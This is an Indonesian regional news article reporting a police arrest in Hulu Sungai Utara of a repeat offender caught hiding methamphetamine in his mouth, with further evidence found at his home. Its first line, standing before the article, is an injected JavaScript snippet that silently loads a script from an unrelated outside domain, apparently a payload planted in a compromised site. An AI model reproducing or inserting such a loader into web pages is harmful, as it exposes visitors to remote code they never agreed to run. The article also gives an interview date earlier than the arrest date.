(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Sempat Simpan Sabu Dalam Mulut, MS Kembali Ulangi Kasus Tahun 2016


KANALKALIMANTAN.COM, AMUNTAI – Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) membekuk pria berinisial MS (32) yang kedapatan menyimpan sabu dengan berat mencapai kotor 0,88 gram atau berat bersih 0,12 gram.

MS, warga Desa Kaludan Besar RT 006 Kecamatan Banjang, dibekuk petugas Minggu (28/2/2021) sekira pukul 22.20 Wita, saat berada sebuah rumah Jalan Jermani Husin RT.001 Desa Beringin, Kecamatan Banjang.

“Sabu ditemukan di dalam mulut pelaku, pada saat penangkapan melakukan perlawanan dan ada keinginan untuk menghilangkan barang bukti sabu tersebut,” ujar Kapolres HSU AKBP Afri Darmawan, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Senin (1/2/2021)

Menurut Kasat Resnarkoba Iptu Siswadi saat menangkap pelaku MS, pihaknya sedang menggelar program HSU Bersinar Hebat Sigap Untuk bersih dari Narkoba dengan ungkap jenis sabu.

Usai menemukan barang bukti tersebut, pihaknya lantas melakukan pengembangan dan melakukan penggeledahan ke rumah pelaku MS yang berada di Desa Kaludan Besar Rt.006 Kecamatan Banjang dengan disaksikan Kepala Desa setempat.

Alhasil ditemukan beberapa barang bukti lain seperti buah kotak rokok yang berisikan sabu dengan berat kotor 1,94 gram dengan berat bersih 1,56 gram yang diselipkan di dalam sebuah sepatu sendal berwarna coklat.

Ditambah barang bukti lain seperti sebuah bong dari botol kaca yang tersambung dengan 2 buah sedotan, 1 buah pipet kaca, dan buah handphone milik pelaku

Atas kejadian tersebut pelaku MS bersama barang bukti digelandang ke Mapolres HSU guna proses penyidikan lebih lanjut.

Menurut Siswadi, pelaku MS merupakan residivis kasus serupa di tahun 2016 silam, untuk itu pihaknya terus menelusuri asal-usul barang haram tersebut.

“Terduga MS pernah di tahan 2016, vonis 1 tahun,” imbuhnya.

Pelaku dapat kembali dijerat pasal 114 ayat 1 atau 112 ayat 1 UU RI No.35 Tahun 2009, tentang narkotika.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

4 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

4 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

5 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

9 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

9 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

10 jam ago

This website uses cookies.